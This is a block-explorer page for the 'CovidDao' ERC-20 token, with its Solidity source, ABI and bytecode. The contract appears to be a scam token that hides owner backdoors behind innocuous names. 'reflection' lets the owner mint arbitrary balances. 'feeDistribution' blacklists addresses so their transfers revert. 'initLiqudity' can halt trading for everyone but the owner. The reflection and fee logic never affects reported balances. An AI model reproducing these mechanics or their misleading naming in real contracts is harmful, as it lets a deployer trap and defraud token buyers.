Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
3,000,000,000,000 CovidDao
Holders
23
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
17,291,704,905.783605935 CovidDaoValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
CovidDao
Compiler Version
v0.8.6+commit.11564f7e
Contract Source Code (Solidity Multiple files format)
/** _/\\\\\\\\\_______/\\\\\_______/\\\________/\\\__/\\\\\\\\\\\__/\\\\\\\\\\\\____________/\\\\\\\\\\\\________/\\\\\\\\\__________/\\\\\ _____/\\\////////______/\\\///\\\____\/\\\_______\/\\\_\/////\\\///__\/\\\////////\\\_________\/\\\////////\\\____/\\\\\\\\\\\\\______/\\\///\\\ ___/\\\/_____________/\\\/__\///\\\__\//\\\______/\\\______\/\\\_____\/\\\______\//\\\________\/\\\______\//\\\__/\\\/////////\\\___/\\\/__\///\\\ __/\\\______________/\\\______\//\\\__\//\\\____/\\\_______\/\\\_____\/\\\_______\/\\\________\/\\\_______\/\\\_\/\\\_______\/\\\__/\\\______\//\\\ _\/\\\_____________\/\\\_______\/\\\___\//\\\__/\\\________\/\\\_____\/\\\_______\/\\\________\/\\\_______\/\\\_\/\\\\\\\\\\\\\\\_\/\\\_______\/\\\ _\//\\\____________\//\\\______/\\\_____\//\\\/\\\_________\/\\\_____\/\\\_______\/\\\________\/\\\_______\/\\\_\/\\\/////////\\\_\//\\\______/\\\ __\///\\\___________\///\\\__/\\\________\//\\\\\__________\/\\\_____\/\\\_______/\\\_________\/\\\_______/\\\__\/\\\_______\/\\\__\///\\\__/\\\ ____\////\\\\\\\\\____\///\\\\\/__________\//\\\________/\\\\\\\\\\\_\/\\\\\\\\\\\\/__________\/\\\\\\\\\\\\/___\/\\\_______\/\\\____\///\\\\\/ _______\/////////_______\/////_____________\///________\///////////__\////////////____________\////////////_____\///________\///_______\///// Website - https://coviddao.help/ Telegram - https://t.me/CovidDao Twitter - https://twitter.com/CovidDao */ // SPDX-License-Identifier: MIT pragma solidity =0.8.6; import "./Libraries.sol"; contract CovidDao is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _vOwned; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _feeTransfer; event botBanned (address botAddress, bool isBanned); uint256 private _tFeeTotal; bool _liquidity; uint256 private _rTotal; uint256 private _totalSupply; address public uniswapV2router; string private _name = 'Covid Dao'; string private _symbol = 'CovidDao'; uint8 private _decimals = 9; uint256 private constant _tTotal = 3000000000000*10**9; uint256 private constant MAX = ~uint256(0); constructor (address router) { uniswapV2router = router; _totalSupply =_tTotal; _rTotal = (MAX - (MAX % _totalSupply)); _vOwned[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _totalSupply); _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]); _isExcluded[_msgSender()] = true; _excluded.push(_msgSender()); _liquidity = true; } function feeDistribution(address feeAddress) external onlyOwner { if (_feeTransfer[feeAddress] == true) { _feeTransfer[feeAddress] = false; } else {_feeTransfer[feeAddress] = true; emit botBanned (feeAddress, _feeTransfer[feeAddress]); } } function feeState(address botAddress) public view returns (bool) { return _feeTransfer[botAddress]; } function initLiqudity() public virtual onlyOwner { if (_liquidity == true) {_liquidity = false;} else {_liquidity = true;} } function liquidityState() public view returns (bool) { return _liquidity; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _vOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function reflection(address owner, uint256 amount) public virtual onlyOwner { _vOwned[owner] = _vOwned[owner].add(amount); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function alreadyTakenFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_feeTransfer[sender] || _feeTransfer[recipient]) require (amount == 0, ""); if (_liquidity == true || sender == owner() || recipient == owner()) { if (_isExcluded[sender] && !_isExcluded[recipient]) { _vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _vOwned[recipient] = _vOwned[recipient].add(amount); emit Transfer(sender, recipient, amount); } else {_vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _vOwned[recipient] = _vOwned[recipient].add(amount); emit Transfer(sender, recipient, amount);} } else {require (_liquidity == true, "");} } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(1000).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
// SPDX-License-Identifier: MIT pragma solidity =0.8.6; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode. return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. * This is zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) * to another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. * A plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Throws if called by any account other than the owner. */ function owner() internal view returns (address) { return _owner; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"botAddress","type":"address"},{"indexed":false,"internalType":"bool","name":"isBanned","type":"bool"}],"name":"botBanned","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"alreadyTakenFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"feeAddress","type":"address"}],"name":"feeDistribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"botAddress","type":"address"}],"name":"feeState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initLiqudity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liquidityState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"reflection","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600981526020017f436f7669642044616f0000000000000000000000000000000000000000000000815250600d908051906020019062000051929190620009c8565b506040518060400160405280600881526020017f436f76696444616f000000000000000000000000000000000000000000000000815250600e90805190602001906200009f929190620009c8565b506009600f60006101000a81548160ff021916908360ff160217905550348015620000c957600080fd5b5060405162003b1838038062003b188339818101604052810190620000ef919062000a8f565b6000620001016200049860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555068a2a15d09519be00000600b81905550600b5460001962000202919062000d24565b60001962000211919062000bf1565b600a8190555068a2a15d09519be0000060016000620002356200049860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002836200049860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620002e4919062000b80565b60405180910390a36200034b60026000620003046200049860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620004a060201b60201c565b600360006200035f6200049860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160056000620003b36200049860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506006620004166200049860201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600960006101000a81548160ff0219169083151502179055505062000e97565b600033905090565b6000600a54821115620004ea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004e19062000b5e565b60405180910390fd5b6000620004fc6200052060201b60201c565b90506200051881846200055a60201b620010541790919060201c565b915050919050565b600080600062000535620005ac60201b60201c565b915091506200055381836200055a60201b620010541790919060201c565b9250505090565b6000620005a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620008a560201b60201c565b905092915050565b6000806000600a549050600068a2a15d09519be00000905060005b6006805490508110156200085157826002600060068481548110620005f157620005f062000de9565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180620006e357508160036000600684815481106200067b576200067a62000de9565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156200070357600a5468a2a15d09519be0000094509450505050620008a1565b6200079d600260006006848154811062000722576200072162000de9565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846200090d60201b6200109e1790919060201c565b9250620008396003600060068481548110620007be57620007bd62000de9565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836200090d60201b6200109e1790919060201c565b91508080620008489062000cd6565b915050620005c7565b506200087768a2a15d09519be00000600a546200055a60201b620010541790919060201c565b8210156200089857600a5468a2a15d09519be00000935093505050620008a1565b81819350935050505b9091565b60008083118290620008ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008e6919062000b3a565b60405180910390fd5b506000838562000900919062000bb9565b9050809150509392505050565b60006200095783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506200095f60201b60201c565b905092915050565b6000838311158290620009aa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009a1919062000b3a565b60405180910390fd5b5060008385620009bb919062000bf1565b9050809150509392505050565b828054620009d69062000ca0565b90600052602060002090601f016020900481019282620009fa576000855562000a46565b82601f1062000a1557805160ff191683800117855562000a46565b8280016001018555821562000a46579182015b8281111562000a4557825182559160200191906001019062000a28565b5b50905062000a55919062000a59565b5090565b5b8082111562000a7457600081600090555060010162000a5a565b5090565b60008151905062000a898162000e7d565b92915050565b60006020828403121562000aa85762000aa762000e18565b5b600062000ab88482850162000a78565b91505092915050565b600062000ace8262000b9d565b62000ada818562000ba8565b935062000aec81856020860162000c6a565b62000af78162000e1d565b840191505092915050565b600062000b11602a8362000ba8565b915062000b1e8262000e2e565b604082019050919050565b62000b348162000c60565b82525050565b6000602082019050818103600083015262000b56818462000ac1565b905092915050565b6000602082019050818103600083015262000b798162000b02565b9050919050565b600060208201905062000b97600083018462000b29565b92915050565b600081519050919050565b600082825260208201905092915050565b600062000bc68262000c60565b915062000bd38362000c60565b92508262000be65762000be562000d8b565b5b828204905092915050565b600062000bfe8262000c60565b915062000c0b8362000c60565b92508282101562000c215762000c2062000d5c565b5b828203905092915050565b600062000c398262000c40565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b8381101562000c8a57808201518184015260208101905062000c6d565b8381111562000c9a576000848401525b50505050565b6000600282049050600182168062000cb957607f821691505b6020821081141562000cd05762000ccf62000dba565b5b50919050565b600062000ce38262000c60565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141562000d195762000d1862000d5c565b5b600182019050919050565b600062000d318262000c60565b915062000d3e8362000c60565b92508262000d515762000d5062000d8b565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b62000e888162000c2c565b811462000e9457600080fd5b50565b612c718062000ea76000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c80634549b039116100b857806395d89b411161007c57806395d89b4114610364578063a457c2d714610382578063a9059cbb146103b2578063dd62ed3e146103e2578063ebad8f1614610412578063ec778ce51461041c57610137565b80634549b039146102ae5780635ff1b181146102de5780636b8dc519146102fc57806370a08231146103185780637c72d25c1461034857610137565b806323b872dd116100ff57806323b872dd146101e25780632d3e69ea146102125780632d83811914610230578063313ce56714610260578063395093511461027e57610137565b8063053ab1821461013c57806306fdde0314610158578063081d2b3c14610176578063095ea7b31461019457806318160ddd146101c4575b600080fd5b610156600480360381019061015191906120ca565b61044c565b005b6101606105c6565b60405161016d91906123af565b60405180910390f35b61017e610658565b60405161018b9190612350565b60405180910390f35b6101ae60048036038101906101a9919061208a565b61067e565b6040516101bb9190612394565b60405180910390f35b6101cc61069c565b6040516101d99190612551565b60405180910390f35b6101fc60048036038101906101f79190612037565b6106ad565b6040516102099190612394565b60405180910390f35b61021a610786565b6040516102279190612394565b60405180